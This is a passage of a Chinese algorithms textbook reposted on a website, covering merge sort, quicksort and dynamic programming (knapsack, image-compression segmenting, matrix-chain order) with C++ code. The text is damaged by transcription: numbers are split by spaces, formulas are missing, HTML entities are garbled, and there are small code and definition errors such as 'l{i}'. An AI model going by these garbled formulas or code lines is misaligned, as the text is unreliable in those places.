{// 把c[l:m]] 和c[m:r] 归并到d [ l : r ] .

int i = l, // 第一段的游标

j = m+1, // 第二段的游标

k = l; // 结果的游标

/ /只要在段中存在i和j，则不断进行归并

while ((i <= m) && (j <= r))

if (c[i] <= c[j]) d[k++] = c[i++];

else d[k++] = c[j++];

// 考虑余下的部分

if (i > m) for (int q = j; q <= r; q++)

d[k++] = c[q];

else for (int q = i; q <= m; q++)

d[k++] = c[q];

}

自然归并排序（natural merge sort）是基本归并排序（见程序1 4 - 3）的一种变化。它首先对输入序列中已经存在的有序子序列进行归并。例如，元素序列[ 4，8，3，7，1，5，6，2 ]中包含有序的子序列[ 4，8 ]，[ 3，7 ]，[ 1，5，6 ]和[ 2 ]，这些子序列是按从左至右的顺序对元素表进行扫描而产生的，若位置i 的元素比位置i+ 1的元素大，则从位置i 进行分割。对于上面这个元素序列，可找到四个子序列，子序列1和子序列2归并可得[ 3 , 4 , 7 , 8 ]，子序列3和子序列4归并可得[ 1 , 2 , 5 , 6 ]，最后，归并这两个子序列得到[ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 ]。因此，对于上述元素序列，仅仅使用了两趟归并，而程序1 4 - 3从大小为1的子序列开始，需使用三趟归并。作为一个极端的例子，假设输入的元素序列已经排好序并有n个元素，自然归并排序法将准确地识别该序列不必进行归并排序，但程序1 4 - 3仍需要进行[ l o g2 n] 趟归并。因此自然归并排序将在(n) 的时间内完成排序。而程序1 4 - 3将花费(n l o gn) 的时间。

2.2.3 快速排序

分而治之方法还可以用于实现另一种完全不同的排序方法，这种排序法称为快速排序（quick sort）。在这种方法中， n 个元素被分成三段（组）：左段l e f t，右段r i g h t和中段m i d d l e。中段仅包含一个元素。左段中各元素都小于等于中段元素，右段中各元素都大于等于中段元素。因此l e f t和r i g h t中的元素可以独立排序，并且不必对l e f t和r i g h t的排序结果进行合并。m i d d l e中的元素被称为支点( p i v o t )。图1 4 - 9中给出了快速排序的伪代码。

/ /使用快速排序方法对a[ 0 :n- 1 ]排序

从a[ 0 :n- 1 ]中选择一个元素作为m i d d l e，该元素为支点

把余下的元素分割为两段left 和r i g h t，使得l e f t中的元素都小于等于支点，而right 中的元素都大于等于支点

递归地使用快速排序方法对left 进行排序

递归地使用快速排序方法对right

作者: liuchaohai


常用算法（3）动态规划
常用算法（3）动态规划

--------------------------------------------------------------------------------

作者:liuchaohai 来源: 类别:数据算法 日期:2002.09.19 今日/总浏览: 4/6

    第 3 章 动态规划

动态规划是本书介绍的五种算法设计方法中难度最大的一种，它建立在最优原则的基础上。采用动态规划方法，可以优雅而高效地解决许多用贪婪算法或分而治之算法无法解决的问题。在介绍动态规划的原理之后，本章将分别考察动态规划方法在解决背包问题、图象压缩、矩阵乘法链、最短路径、无交叉子集和元件折叠等方面的应用。

3.1 算法思想

和贪婪算法一样，在动态规划中，可将一个问题的解决方案视为一系列决策的结果。不同的是，在贪婪算法中，每采用一次贪婪准则便做出一个不可撤回的决策，而在动态规划中，还要考察每个最优决策序列中是否包含一个最优子序列。

例3-1 [最短路经] 考察图1 2 - 2中的有向图。假设要寻找一条从源节点s= 1到目的节点d= 5的最短路径，即选择此路径所经过的各个节点。第一步可选择节点2，3或4。假设选择了节点3，则此时所要求解的问题变成：选择一条从3到5的最短路径。如果3到5的路径不是最短的，则从1开始经过3和5的路径也不会是最短的。例如，若选择的子路径（非最短路径）是3，2，5 (耗费为9 )，则1到5的路径为1，3，2，5 (耗费为11 )，这比选择最短子路径3，4，5而得到的1到5的路径1，3，4，5 (耗费为9) 耗费更大。

所以在最短路径问题中，假如在的第一次决策时到达了某个节点v，那么不管v 是怎样确定的，此后选择从v 到d 的路径时，都必须采用最优策略。

例3-2 [0/1背包问题] 考察1 3 . 4节的0 / 1背包问题。如前所述，在该问题中需要决定x1 .. xn的值。假设按i = 1，2，.，n 的次序来确定xi 的值。如果置x1 = 0，则问题转变为相对于其余物品（即物品2，3，.，n），背包容量仍为c 的背包问题。若置x1 = 1，问题就变为关于最大背包容量为c-w1 的问题。现设r&Icirc;{c，c-w1 } 为剩余的背包容量。

在第一次决策之后，剩下的问题便是考虑背包容量为r 时的决策。不管x1 是0或是1，[x2 ，.，xn ] 必须是第一次决策之后的一个最优方案，如果不是，则会有一个更好的方案[y2，.，yn ]，因而[x1，y2，.，yn ]是一个更好的方案。

假设n=3, w=[100,14,10], p=[20,18,15], c= 11 6。若设x1 = 1，则在本次决策之后，可用的背包容量为r= 116-100=16 。[x2，x3 ]=[0,1] 符合容量限制的条件，所得值为1 5，但因为[x2，x3 ]= [1，0] 同样符合容量条件且所得值为1 8，因此[x2，x3 ] = [ 0，1] 并非最优策略。即x= [ 1，0，1] 可改进为x= [ 1，1，0 ]。若设x1 = 0，则对于剩下的两种物品而言，容量限制条件为11 6。总之，如果子问题的结果[x2，x3 ]不是剩余情况下的一个最优解，则[x1，x2，x3 ]也不会是总体的最优解。

例3-3 [航费] 某航线价格表为：从亚特兰大到纽约或芝加哥，或从洛杉矶到亚特兰大的费用为$ 1 0 0；从芝加哥到纽约票价$ 2 0；而对于路经亚特兰大的旅客，从亚特兰大到芝加哥的费用仅为$ 2 0。从洛杉矶到纽约的航线涉及到对中转机场的选择。如果问题状态的形式为（起点，终点），那么在选择从洛杉矶到亚特兰大后，问题的状态变为（亚特兰大，纽约）。从亚特兰大到纽约的最便宜航线是从亚特兰大直飞纽约，票价$ 1 0 0。而使用直飞方式时，从洛杉矶到纽约的花费为$ 2 0 0。不过，从洛杉矶到纽约的最便宜航线为洛杉矶-亚特兰大-芝加哥-纽约，其总花费为$ 1 4 0（在处理局部最优路径亚特兰大到纽约过程中选择了最低花费的路径：亚特兰大-芝加哥-纽约）。

如果用三维数组（t a g，起点，终点）表示问题状态，其中t a g为0表示转飞， t a g为1表示其他情形，那么在到达亚特兰大后，状态的三维数组将变为（ 0，亚特兰大，纽约），它对应的最优路径是经由芝加哥的那条路径。

当最优决策序列中包含最优决策子序列时，可建立动态规划递归方程（ d y n a m i c -programming recurrence equation），它可以帮助我们高效地解决问题。

例3-4 [0/1背包] 在例3 - 2的0 / 1背包问题中，最优决策序列由最优决策子序列组成。假设f (i,y) 表示例1 5 - 2中剩余容量为y，剩余物品为i，i + 1，.，n 时的最优解的值，即：和利用最优序列由最优子序列构成的结论，可得到f 的递归式。f ( 1 ,c) 是初始时背包问题的最优解。可使用（ 1 5 - 2）式通过递归或迭代来求解f ( 1 ,c)。从f (n, * )开始迭式， f (n, * )由（1 5 - 1）式得出，然后由（ 1 5 - 2）式递归计算f (i,*) ( i=n- 1，n- 2，.， 2 )，最后由（ 1 5 - 2）式得出f ( 1 ,c)。

对于例1 5 - 2，若0≤y＜1 0，则f ( 3 ,y) = 0；若y≥1 0，f ( 3 ,y) = 1 5。利用递归式（1 5 - 2），可得f (2, y) = 0 ( 0≤y＜10 )；f（2，y）= 1 5（1 0≤y＜1 4）；f（2，y）= 1 8（1 4≤y＜2 4）和f（2，y）= 3 3（y≥2 4）。因此最优解f ( 1 , 11 6 ) = m a x {f（2，11 6），f（2，11 6 - w1）+ p1} = m a x {f（2，11 6），f（2，1 6）+ 2 0 } = m a x { 3 3，3 8 } = 3 8。

现在计算xi 值，步骤如下：若f ( 1 ,c) =f ( 2 ,c)，则x1 = 0，否则x1 = 1。接下来需从剩余容量c-w1中寻求最优解，用f (2, c-w1) 表示最优解。依此类推，可得到所有的xi (i= 1.n) 值。

在该例中，可得出f ( 2 , 11 6 ) = 3 3≠f ( 1 , 11 6 )，所以x1 = 1。接着利用返回值3 8 -p1=18 计算x2 及x3，此时r = 11 6 -w1 = 1 6，又由f ( 2 , 1 6 ) = 1 8，得f ( 3 , 1 6 ) = 1 4≠f ( 2 , 1 6 )，因此x2 = 1，此时r= 1 6 -w2 = 2，所以f (3,2) =0，即得x3 = 0。

动态规划方法采用最优原则（ principle of optimality）来建立用于计算最优解的递归式。所谓最优原则即不管前面的策略如何，此后的决策必须是基于当前状态（由上一次决策产生）的最优决策。由于对于有些问题的某些递归式来说并不一定能保证最优原则，因此在求解问题时有必要对它进行验证。若不能保持最优原则，则不可应用动态规划方法。在得到最优解的递归式之后，需要执行回溯（t r a c e b a c k）以构造最优解。

编写一个简单的递归程序来求解动态规划递归方程是一件很诱人的事。然而，正如我们将在下文看到的，如果不努力地去避免重复计算，递归程序的复杂性将非常可观。如果在递归程序设计中解决了重复计算问题时，复杂性将急剧下降。动态规划递归方程也可用迭代方式来求解，这时很自然地避免了重复计算。尽管迭代程序与避免重复计算的递归程序有相同的复杂性，但迭代程序不需要附加的递归栈空间，因此将比避免重复计算的递归程序更快。

3.2 应用

3.2.1 0/1背包问题

1. 递归策略

在例3 - 4中已建立了背包问题的动态规划递归方程，求解递归式（ 1 5 - 2）的一个很自然的方法便是使用程序1 5 - 1中的递归算法。该模块假设p、w 和n 为输入，且p 为整型，F(1,c) 返回f ( 1 ,c) 值。

程序15-1 背包问题的递归函数

int F(int i, int y)

{// 返回f ( i , y ) .

if (i == n) return (y < w[n]) ? 0 : p[n];

if (y < w[i]) return F(i+1,y);

return max(F(i+1,y), F(i+1,y-w[i]) + p[i]);

}

程序1 5 - 1的时间复杂性t (n)满足：t ( 1 ) =a；t（n）≤2t（n- 1）+b（n＞1），其中a、b 为常数。通过求解可得t (n) =O( 2n)。

例3-5 设n= 5，p= [ 6 , 3 , 5 , 4 , 6 ]，w=[2,2,6,5,4] 且c= 1 0 ,求f ( 1 , 1 0 )。为了确定f ( 1 , 1 0 )，调用函数F ( 1 , 1 0 )。递归调用的关系如图1 5 - 1的树型结构所示。每个节点用y值来标记。对于第j层的节点有i=j，因此根节点表示F ( 1 , 1 0 )，而它有左孩子和右孩子，分别对应F ( 2 , 1 0 )和F ( 2 , 8 )。总共执行了2 8次递归调用。但我们注意到，其中可能含有重复前面工作的节点，如f ( 3 , 8 )计算过两次，相同情况的还有f ( 4 , 8 )、f ( 4 , 6 )、f ( 4 , 2 )、f ( 5 , 8 )、f ( 5 , 6 )、f ( 5 , 3 )、f (5,2) 和f ( 5 , 1 )。如果保留以前的计算结果，则可将节点数减至1 9，因为可以丢弃图中的阴影节点。

正如在例3 - 5中所看到的，程序1 5 - 1做了一些不必要的工作。为了避免f (i,y)的重复计算，必须定义一个用于保留已被计算出的f (i,y)值的表格L，该表格的元素是三元组(i,y,f (i,y) )。在计算每一个f (i,y)之前，应检查表L中是否已包含一个三元组(i,y, * )，其中*表示任意值。如果已包含，则从该表中取出f (i,y)的值，否则，对f (i,y)进行计算并将计算所得的三元组(i,y,f (i,y) )加入表L。L既可以用散列（见7 . 4节）的形式存储，也可用二叉搜索树(见11章)的形式存储。

2. 权为整数的迭代方法

当权为整数时，可设计一个相当简单的算法（见程序1 5 - 2）来求解f ( 1 ,c)。该算法基于例3 - 4所给出的策略，因此每个f (i,y) 只计算一次。程序1 5 - 2用二维数组f [ ][ ]来保存各f 的值。而回溯函数Tr a c e b a c k用于确定由程序1 5 - 2所产生的xi 值。函数K n a p s a c k的复杂性为( n c），而Tr a c e b a c k的复杂性为( n )。

程序15-2 f 和x 的迭代计算

template<class T>

void Knapsack(T p[], int w[], int c, int n, T** f)

{// 对于所有i和y计算f [ i ] [ y ]

// 初始化f [ n ] [ ]

for (int y = 0; y <= yMax; y++)

f[n][y] = 0;

for (int y = w[n]; y <= c; y++)

f[n][y] = p[n];

// 计算剩下的f

for (int i = n - 1; i > 1; i--) {

for (int y = 0; y <= yMax; y++)

f[i][y] = f[i+1][y];

for (int y = w[i]; y <= c; y++)

f[i][y] = max(f[i+1][y], f[i+1][y-w[i]] + p[i]);

}

f[1][c] = f[2][c];

if (c >= w[1])

f[1][c] = max(f[1][c], f[2][c-w[1]] + p[1]);

}

template<class T>

void Traceback(T **f, int w[], int c, int n, int x[])

{// 计算x

for (int i = 1; i < n; i++)

if (f[i][c] == f[i+1][c]) x[i] = 0;

else {x[i] = 1;

c -= w[i];}

x[n] = (f[n][c]) ? 1 : 0;

}

3. 元组方法（ 选读）

程序1 5 - 2有两个缺点：1) 要求权为整数；2) 当背包容量c 很大时，程序1 5 - 2的速度慢于程序1 5 - 1。一般情况下，若c＞2n，程序1 5 - 2的复杂性为W (n2n )。可利用元组的方法来克服上述两个缺点。在元组方法中，对于每个i，f (i, y) 都以数对(y, f (i, y)) 的形式按y的递增次序存储于表P(i)中。同时，由于f (i, y) 是y 的非递减函数，因此P(i) 中各数对(y, f (i, y)) 也是按f (i, y) 的递增次序排列的。

例3-6 条件同例3 - 5。对f 的计算如图1 5 - 2所示。当i= 5时，f 由数对集合P( 5 ) = [ ( 0 , 0 ) , ( 4 , 6 ) ]表示。而P( 4 )、P( 3 )和P( 2 )分别为[ ( 0 , 0 ) , ( 4 , 6 ) , ( 9 , 1 0 ) ]、[ ( 0 , 0 ) ( 4 , 6 ) , ( 9 , 1 0 ) , ( 1 0 , 11)] 和[ ( 0 , 0 ) ( 2 , 3 ) ( 4 , 6 ) ( 6 , 9 ) ( 9 , 1 0 ) ( 1 0 , 11 ) ]。

为求f ( 1 , 1 0 )，利用式（1 5 - 2）得f ( 1 , 1 0 ) = m a x｛f ( 2 , 1 0 )，f ( 2 , 8 ) + p 1｝。由P( 2 )得f ( 2 , 1 0 ) = 11、f (2,8)=9 (f ( 2 , 8 ) = 9来自数对( 6，9 ) )，因此f ( 1 , 1 0 ) = m a x｛11 , 1 5｝= 1 5。现在来求xi 的值，因为f ( 1 , 1 0 ) =f ( 2 , 6 ) +p1，所以x1 = 1；由f ( 2 , 6 ) =f ( 3 , 6 - w 2 ) +p2 =f ( 3 , 4 ) +p2，得x2 = 1；由f ( 3 , 4 ) =f ( 4 , 4 ) =f ( 5 , 4 )得x3=x4 = 0；最后，因f ( 5 , 4 )≠0得x5= 1。

检查每个P(i) 中的数对，可以发现每对(y,f (i,y)) 对应于变量xi , ., xn 的0/1 赋值的不同组合。设（a,b）和（c,d）是对应于两组不同xi , ., xn 的0 / 1赋值，若a≥c且b＜d，则(a, b) 受(b, c) 支配。被支配者不必加入P(i)中。若在相同的数对中有两个或更多的赋值，则只有一个放入P(i)。假设wn≤C，P(n)=[(0,0), (wn , pn ) ]，P（n）中对应于xn 的两个数对分别等于0和1。对于每个i，P(i)可由P(i+ 1 )得出。首先，要计算数对的有序集合Q，使得当且仅当wi≤s≤c且(s-wi , t-pi )为P(i+1) 中的一个数对时，（s,t）为Q中的一个数对。现在Q中包含xi = 1时的数对集，而P(i+ 1 )对应于xi = 0的数对集。接下来，合并Q和P(i+ 1 )并删除受支配者和重复值即可得到P(i)。

例3-7 各数据同例1 5 - 6。P(5)=[(0,0),(4,6)], 因此Q= [ ( 5 , 4 ) , ( 9 , 1 0 ) ]。现在要将P( 5 )和Q合并得到P( 4 )。因( 5 , 4 )受( 4 , 6 )支配，可删除( 5 , 4 )，所以P（4）=[(0,0), (4,6), (9,10)]。接着计算P( 3 )，首先由P( 4 )得Q=[(6,5), (10,11 ) ]，然后又由合并方法得P(3)=[(0,0), (4,6), (9,10), (10,11 ) ]。最后计算P( 2 )：由P( 3 )得Q= [ ( 2 , 3 )，( 6 , 9 ) ]，P( 3 )与Q合并得P(2)=[(0,0), (2,3), (4,6), (6,9), (9,10). (10,11 ) ]。因为每个P(i) 中的数对对应于xi , ., xn 的不同0 / 1赋值，因此P(i) 中的数对不会超过2n-i+ 1个。计算P(i) 时，计算Q需消耗( |P(i+ 1 ) |）的时间，合并P(i+1) 和Q同样需要( |P(i+ 1 ) | )的时间。计算所有P(i) 时所需要的总时间为： (n &aring;i=2|P(i + 1)|= O ( 2n )。当权为整数时，|P(i) |≤c+1, 此时复杂性为O ( m i n {n c, 2n } )。

如6 . 4 . 3节定义的，数字化图像是m×m的像素阵列。假定每个像素有一个0 ~ 2 5 5的灰度值。因此存储一个像素至多需8位。若每个像素存储都用最大位8位，则总的存储空间为8m2 位。为了减少存储空间，我们将采用变长模式（ variable bit scheme），即不同像素用不同位数来存储。像素值为0和1时只需1位存储空间；值2、3各需2位；值4，5，6和7各需3位；以此类推，使用变长模式的步骤如下：

1) 图像线性化根据图15-3a 中的折线将m×m维图像转换为1×m2 维矩阵。

2) 分段将像素组分成若干个段，分段原则是：每段中的像素位数相同。每个段是相邻像素的集合且每段最多含2 5 6个像素，因此，若相同位数的像素超过2 5 6个的话，则用两个以上的段表示。

3) 创建文件创建三个文件：S e g m e n t L e n g t h, BitsPerPixel 和P i x e l s。第一个文件包含在2 )中所建的段的长度(减1 )，文件中各项均为8位长。文件BitsPerPixel 给出了各段中每个像素的存储位数（减1），文件中各项均为3位。文件Pixels 则是以变长格式存储的像素的二进制串。

4) 压缩文件压缩在3) 中所建立的文件，以减少空间需求。

上述压缩方法的效率（用所得压缩率表示）很大程度上取决于长段的出现频率。

例3-8 考察图15-3b 的4×4图像。按照蛇形的行主次序，灰度值依次为1 0，9，1 2，4 0，5 0，3 5，1 5，1 2，8，1 0，9，1 5，11，1 3 0，1 6 0和2 4 0。各像素所需的位数分别为4，4，4，6，6，6，4，4，4，4，4，4，4，8，8和8，按等长的条件将像素分段，可以得到4个段[ 1 0，9，1 2 ]、[ 4 0，5 0，3 5 ]、[15, 12, 8, 10, 9, 15, 11] 和［130, 160, 240］。因此，文件SegmentLength 为2，2，6，2；文件BitsPerSegment 的内容为3，5，3，7；文件P i x e l s包含了按蛇形行主次序排列的1 6个灰度值，其中头三个各用4位存储，接下来三个各用6位，再接下来的七个各用4位，最后三个各用8位存储。因此存储单元中前3 0位存储了前六个像素：

1010 1001 1100 111000 110010 100011

这三个文件需要的存储空间分别为：文件SegmentLength 需3 2位；BitsPerSegment 需1 2位；Pixels 需8 2位，共需1 2 6位。而如果每个像素都用8位存储，则存储空间需8×1 6 = 1 2 8位，因而在本例图像中，节省了2位的空间。

假设在2) 之后，产生了n 个段。段标题（segment header）用于存储段的长度以及该段中每个像素所占用的位数。每个段标题需11位。现假设li 和bi 分别表示第i 段的段长和该段每个像素的长度，则存储第i 段像素所需要的空间为li *bi 。在2) 中所得的三个文件的总存储空间为11 n+n &aring;i = 1li bi。可通过将某些相邻段合并的方式来减少空间消耗。如当段i 和i+ 1被合并时，合并后的段长应为li +li + 1。此时每个像素的存储位数为m a x {bi，bi +1 } 位。尽管这种技术增加了文件P i x e l s的空间消耗，但同时也减少了一个段标题的空间。

例3-9 如果将例1 5 - 8中的第1段和第2段合并，合并后，文件S e g m e n t L e n g t h变为5，6，2，BitsPerSegment 变为5，3，7。而文件Pixels 的前3 6位存储的是合并后的第一段：001010 001001 001100 111000 110010 100011其余的像素（例1 5 - 8第3段）没有改变。因为减少了1个段标题，文件S e g m e n t L e n g t h和BitsPerPixel 的空间消耗共减少了11位，而文件Pixels 的空间增加6位，因此总共节约的空间为5位，空间总消耗为1 2 1位。

我们希望能设计一种算法，使得在产生n 个段之后，能对相邻段进行合并，以便产生一个具有最小空间需求的新的段集合。在合并相邻段之后，可利用诸如L Z W法（见7 . 5节）和霍夫曼编码（见9 . 5 . 3节）等其他技术来进一步压缩这三个文件。

令sq 为前q 个段的最优合并所需要的空间。定义s0 = 0。考虑第i 段(i＞0 )，假如在最优合并C中，第i 段与第i- 1，i- 2，.，i-r+1 段相合并，而不包括第i-r 段。合并C所需要的空间消耗等于：第1段到第i-r 段所需空间+ l s u m (i-r+ 1 ,i) * b m a x (i-r+ 1 ,i) + 11

其中l s u m(a, b)=b &aring;j =a

lj，bmax (a, b)= m a x {ba , ..., bb }。假如在C中第1段到第i-r 段的合并不是最优合并，那么需要对合并进行修改，以使其具有更小的空间需求。因此还必须对段1到段i-r 进行最优合并，也即保证最优原则得以维持。故C的空间消耗为：

si = si-r +l s u m（i-r+1, i）*b m a x（i-r+1, i）+ 11

r 的值介于1到i 之间，其中要求l s u m不超过2 5 6 (因为段长限制在2 5 6之内)。尽管我们不知道如何选择r，但我们知道，由于C具有最小的空间需求，因此在所有选择中， r 必须产生最小的空间需求。

假定k a yi 表示取得最小值时k 的值，sn 为n 段的最优合并所需要的空间，因而一个最优合并可用kay 的值构造出来。

例3-10 假定在2) 中得到五个段，它们的长度为[ 6，3，1 0，2，3 ]，像素位数为[ 1，2，3，2，1 ]，要用公式（1 5 - 3）计算sn，必须先求出sn-1，.，s0 的值。s0 为0，现计算s1：s1 =s0 +l1 *b1+ 11 = 1 7k a y1 = 1s2 由下式得出：

s2 = m i n {s1 +l2 b2 , s0 + (l1 +l2 ) * m a x {b1 , b2} } + 11 = m i n { 1 7 + 6 , 0 + 9 * 2 } + 11 = 2 9

k a y2 = 2

以此类推，可得s1.s5 = [ 1 7，2 9，6 7，7 3，82] ，k a y1.k a y5 = [ 1，2，2，3，4 ]。因为s5 = 8 2，所以最优空间合并需8 2位的空间。可由k a y5 导出本合并的方式，过程如下：因为k a y5 = 4，所以s5 是由公式（1 5 - 3）在k=4 时取得的，因而最优合并包括：段1到段( 5 - 4 ) = 1的最优合并以及段2，3，4和5的合并。最后仅剩下两个段：段1以及段2到段5的合并段。

1. 递归方法

用递归式（1 5 - 3）可以递归地算出si 和k a yi。程序1 5 - 3为递归式的计算代码。l，b，和k a y是一维的全局整型数组，L是段长限制（ 2 5 6），h e a d e r为段标题所需的空间( 11 )。调用S ( n )返回sn 的值且同时得出k a y值。调用Tr a c e b a c k ( k a y, n )可得到最优合并。

现讨论程序1 5 - 3的复杂性。t( 0 ) =c（c 为一个常数）： （n＞0），因此利用递归的方法可得t (n) = O ( 2n )。Tr a c e b a c k的复杂性为(n)。

程序15-3 递归计算s , k a y及最优合并

int S(int i)

{ / /返回S ( i )并计算k a y [ i ]

if (i == 0 ) return 0;

//k = 1时, 根据公式（ 1 5 - 3）计算最小值

int lsum = l[i],bmax = b[i];

int s = S(i-1) + lsum * bmax;

kay[i] = 1;

/ /对其余的k计算最小值并求取最小值

for (int k = 2; k <= i && lsum+l[i-k+1] <= L; k++) {

lsum += l[i-k+1];

if (bmax < b[i-k+1]) bmax = b[i-k+1];

int t = S(i-k);

if (s > t + lsum * bmax) {

s = t + lsum * bmax;

kay[i] = k;}

}

return s + header;

}

void Traceback(int kay[], int n)

{// 合并段

if (n == 0) return;

Tr a c e b a c k ( k a y, n-kay[n]);

cout << "New segment begins at " << (n - kay[n] + 1) << endl;

}

2. 无重复计算的递归方法

通过避免重复计算si，可将函数S的复杂性减少到(n)。注意这里只有n个不同的si。

例3 - 11 再考察例1 5 - 1 0中五个段的例子。当计算s5 时，先通过递归调用来计算s4，.，s0。计算s4 时，通过递归调用计算s3，.，s0，因此s4 只计算了一次，而s3 计算了两次，每一次计算s3要计算一次s2，因此s2 共计算了四次，而s1 重复计算了1 6次！可利用一个数组s 来保存先前计算过的si 以避免重复计算。改进后的代码见程序1 5 - 4，其中s为初值为0的全局整型数组。

程序15-4 避免重复计算的递归算法

int S(int i)

{ / /计算S ( i )和k a y [ i ]

/ /避免重复计算

if (i == 0) return 0;

if (s[i] > 0) return s[i]; //已计算完

/ /计算s [ i ]

/ /首先根据公式（1 5 - 3）计算k = 1时最小值

int lsum = l[i], bmax = b[i];

s[i] =S(i-1) + lsum * bmax;

kay[i] = 1;

/ /对其余的k计算最小值并更新

for (int k = 2; k <= i && lsum+l[i-k+1] <= L; k++) {

lsum += l[i-k+1];

if (bmax < b[i-k+1]) bmax = b[i-k+1];

int t = S(i-k);

if (s[i] > t + lsum * bmax) {

s[i] = t + lsum * bmax;

kay[i] = k;}

}

s[i] += header;

return s[i];

}

为了确定程序1 5 - 4的时间复杂性，我们将使用分期计算模式（ amortization scheme）。在该模式中，总时间被分解为若干个不同项，通过计算各项的时间然后求和来获得总时间。当计算si 时，若sj 还未算出，则把调用S(j) 的消耗计入sj ；若sj 已算出，则把S(j) 的消耗计入si (这里sj依次把计算新sq 的消耗转移至每个sq )。程序1 5 - 4的其他消耗也被计入si。因为L是2 5 6之内的常数且每个li 至少为1，所以程序1 5 - 4的其他消耗为( 1 )，即计入每个si 的量是一个常数，且si 数目为n，因而总工作量为(n)。

3. 迭代方法

倘若用式（1 5 - 3）依序计算s1 , ., sn，便可得到一个复杂性为(n)的迭代方法。在该方法中，在si 计算之前， sj 必须已计算好。该方法的代码见程序1 5 - 5，其中仍利用函数Tr a c e b a c k（见程序1 5 - 3）来获得最优合并。

程序15-5 迭代计算s和k a y

void Vbits (int l[], int b[], int n, int s[], int kay[])

{ / /计算s [ i ]和k a y [ i ]

int L = 256, header = 11 ;

s[0] = 0;

/ /根据式（1 5 - 3）计算s [ i ]

for (int i = 1; i <= n; i++) {

// k = 1时,计算最小值

int lsum = l{i},

bmax = b[i];

s[i] = s[i-1] + lsum * bmax;

kay[i] = 1;

/ /对其余的k计算最小值并更新

for (int k=2; k<= i && lsum+l[i-k+1]<= L; k++) {

lsum += l[i-k+1];

if (bmax < b[i-k+1]) bmax = b[i-k+1];

if (s[i] > s[i-k] + lsum * bmax){

s[i] = s[i-k] + lsum * bmax;

kay[i] = k; }

}

s[i] += header;

}

}

3.2.3 矩阵乘法链

m×n矩阵A与n×p矩阵B相乘需耗费(m n p)的时间（见第2章练习1 6）。我们把m n p作为两个矩阵相乘所需时间的测量值。现假定要计算三个矩阵A、B和C的乘积，有两种方式计算此乘积。在第一种方式中，先用A乘以B得到矩阵D，然后D乘以C得到最终结果，这种乘法的顺序可写为(A*B) *C。第二种方式写为A* (B*C) ,道理同上。尽管这两种不同的计算顺序所得的结果相同，但时间消耗会有很大的差距。

例3-12 假定A为1 0 0×1矩阵，B为1×1 0 0矩阵，C为1 0 0×1矩阵，则A*B的时间耗费为10 0 0 0，得到的结果D为1 0 0×1 0 0矩阵，再与C相乘所需的时间耗费为1 000 000，因此计算(A*B) *C的总时间为1 010 000。B*C的时间耗费为10 000，得到的中间矩阵为1×1矩阵，再与A相乘的时间消耗为1 0 0，因而计算A*（B*C）的时间耗费竟只有10 100！而且，计算（ A*B）*C时，还需10 000个单元来存储A*B，而A*（B*C）计算过程中，只需用1个单元来存储B*C。

下面举一个得益于选择合适秩序计算A*B*C矩阵的实例：考虑两个3维图像的匹配。图像匹配问题的要求是，确定一个图像需旋转、平移和缩放多少次才能逼近另一个图像。实现匹配的方法之一便是执行约1 0 0次迭代计算，每次迭代需计算1 2×1个向量T：

T=&aring;A(x, y, z) *B(x, y, z)*C(x, y, z )

其中A，B和C分别为1 2×3，3×3和3×1矩阵。(x , y, z) 为矩阵中向量的坐标。设t 表示计算A(x , y, z) *B(x , y, z) *C(x , y, z)的计算量。假定此图像含2 5 6×2 5 6×2 5 6个向量，在此条件中，这1 0 0个迭代所需的总计算量近似为1 0 0 * 2 5 63 * t≈1 . 7 * 1 09 t。若三个矩阵是按由左向右的顺序相乘的，则t = 1 2 * 3 * 3 + 1 2 * 3 *1= 1 4 4；但如果从右向左相乘， t = 3 * 3 * 1 + 1 2 * 3 * 1 = 4 5。由左至右计算约需2 . 4 * 1 011个操作，而由右至左计算大概只需7 . 5 * 1 01 0个操作。假如使用一个每秒可执行1亿次操作的计算机，由左至右需4 0分钟，而由右至左只需1 2 . 5分钟。

在计算矩阵运算A*B*C时，仅有两种乘法顺序（由左至右或由右至左），所以可以很容易算出每种顺序所需要的操作数，并选择操作数比较少的那种乘法顺序。但对于更多矩阵相乘来说，情况要复杂得多。如计算矩阵乘积M1×M2×.×Mq，其中Mi 是一个ri×ri + 1 矩阵( 1≤i≤q)。不妨考虑q=4 的情况，此时矩阵运算A*B*C*D可按以下方式（顺序）计算：

A* ( (B*C) *D) A* (B* (C*D)) (A*B) * (C*D) (A* (B*C) ) *D

不难看出计算的方法数会随q 以指数级增加。因此，对于很大的q 来说，考虑每一种计算顺序并选择最优者已是不切实际的。

现在要介绍一种采用动态规划方法获得矩阵乘法次序的最优策略。这种方法可将算法的时间消耗降为(q3 )。用Mi j 表示链Mi×.×Mj （i≤j）的乘积。设c(i,j) 为用最优法计算Mi j 的消耗，k a y(i, j) 为用最优法计算Mi j 的最后一步Mi k×Mk+1, j 的消耗。因此Mij 的最优算法包括如何用最优算法计算Mik 和Mkj 以及计算Mik×Mkj 。根据最优原理，可得到如下的动态规划递归式：k a y(i,i+s)= 获得上述最小值的k. 以上求c 的递归式可用递归或迭代的方法来求解。c( 1，q) 为用最优法计算矩阵链的消耗，k a y( 1 ,q) 为最后一步的消耗。其余的乘积可由k a y值来确定。

1. 递归方法

与求解0 / 1背包及图像压缩问题一样，本递归方法也须避免重复计算c (i, j) 和k a y(i, j)，否则算法的复杂性将会非常高。

例3-13 设q= 5和r =（1 0 , 5 , 1 , 1 0 , 2 , 1 0），式中待求的c 中有四个c的s= 0或1，因此用动态规划方法可立即求得它们的值： c( 1 , 1 ) =c( 5 , 5 ) = 0 ;c(1,2)=50; c( 4 , 5 ) = 2 0 0。现计算C( 2，5 )：c( 2 , 5 ) = m i n {c( 2 , 2 ) +c(3,5)+50, c( 2 , 3 ) +c(4,5)+500, c( 2 , 4 ) +c( 5 , 5 ) + 1 0 0 } （1 5 - 5）其中c( 2 , 2 ) =c( 5 , 5 ) = 0；c( 2 , 3 ) = 5 0；c(4,5)=200 。再用递归式计算c( 3 , 5 )及c( 2 , 4 ) :c( 3 , 5 ) = m i n {c( 3 , 3 ) +c(4,5)+100, c( 3 , 4 ) +c( 5 , 5 ) + 2 0 } = m i n { 0 + 2 0 0 + 1 0 0 , 2 0 + 0 + 2 0 } = 4 0c( 2 , 4 ) = m i n {c( 2 , 2 ) +c( 3 , 4 ) + 1 0 ,c( 2 , 3 ) +c( 4 , 4 ) + 1 0 0 } = m i n { 0 + 2 0 + 1 0 , 5 0 + 1 0 + 2 0 } = 3 0由以上计算还可得k a y( 3 , 5 ) = 4，k ay( 2 , 4 ) = 2。现在,计算c(2,5) 所需的所有中间值都已求得，将它们代入式（1 5 - 5）得：

